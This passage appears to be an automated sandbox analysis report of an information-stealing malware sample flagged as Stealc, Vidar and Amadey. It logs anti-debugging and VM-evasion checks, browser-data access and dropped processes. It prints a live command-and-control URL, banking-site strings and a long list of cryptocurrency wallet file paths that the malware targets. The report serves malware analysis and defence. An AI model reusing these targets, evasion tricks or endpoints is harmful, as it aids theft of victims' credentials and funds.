Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000016.00000002.1921263218.0000000000B33000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001B.00000002.2596172200.0000000000B33000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Web Data.9.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000002.1823825549.00000000235C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696492231x
Source: Web Data.9.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1806286590.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2599679881.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2599679881.00000000011FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Web Data.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000000.00000002.1823825549.00000000235C1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8RECOVE~11c3bankoRecoveryImprovedVMware20,11696492231x
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Web Data.9.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: DocumentsHDGCAAFBFB.exe, 00000014.00000003.1842967970.0000000000C46000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}FS\|
Source: file.exe, 00000000.00000002.1823825549.000000002362C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#/
Source: Web Data.9.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Web Data.9.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Web Data.9.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Web Data.9.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Web Data.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Web Data.9.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1806286590.0000000001104000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:http://185.215.113.206/c4becf79229cb002.php
Source: Web Data.9.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: skotes.exe, 0000001B.00000002.2599679881.00000000011E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<N
Source: Web Data.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Web Data.9.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareL
Source: file.exe, 00000000.00000002.1805319507.00000000008C7000.00000040.00000001.01000000.00000003.sdmp, DocumentsHDGCAAFBFB.exe, 00000014.00000002.1898196940.00000000005C3000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000002.1917133785.0000000000B33000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.1921263218.0000000000B33000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001B.00000002.2596172200.0000000000B33000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.9.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Web Data.9.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: Web Data.9.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Web Data.9.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_049D01FE Start: 049D051A End: 049D0230		20_2_049D01FE
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_049D0172 Start: 049D051A End: 049D0230		20_2_049D0172

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe

Code function: 20_2_049D0098 rdtsc

20_2_049D0098

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D05AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6D05AC62

Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_0040652B mov eax, dword ptr fs:[00000030h]	20_2_0040652B
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Code function: 20_2_0040A302 mov eax, dword ptr fs:[00000030h]	20_2_0040A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0097A302 mov eax, dword ptr fs:[00000030h]	21_2_0097A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0097652B mov eax, dword ptr fs:[00000030h]	21_2_0097652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0097A302 mov eax, dword ptr fs:[00000030h]	22_2_0097A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0097652B mov eax, dword ptr fs:[00000030h]	22_2_0097652B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D05AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6D05AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHDGCAAFBFB.exe "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D0A4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6D0A4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF81C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CF81C30

Source: file.exe, file.exe, 00000000.00000002.1805319507.00000000008C7000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: ik Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D05AE71 cpuid

0_2_6D05AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D05A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6D05A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFA8390 NSS_GetVersion,

0_2_6CFA8390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 21.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsHDGCAAFBFB.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001B.00000002.2595298306.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1916840148.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1920883927.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1897829806.00000000003D1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.1348648639.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804765583.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.1804765583.00000000005A5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.1823825549.0000000023622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 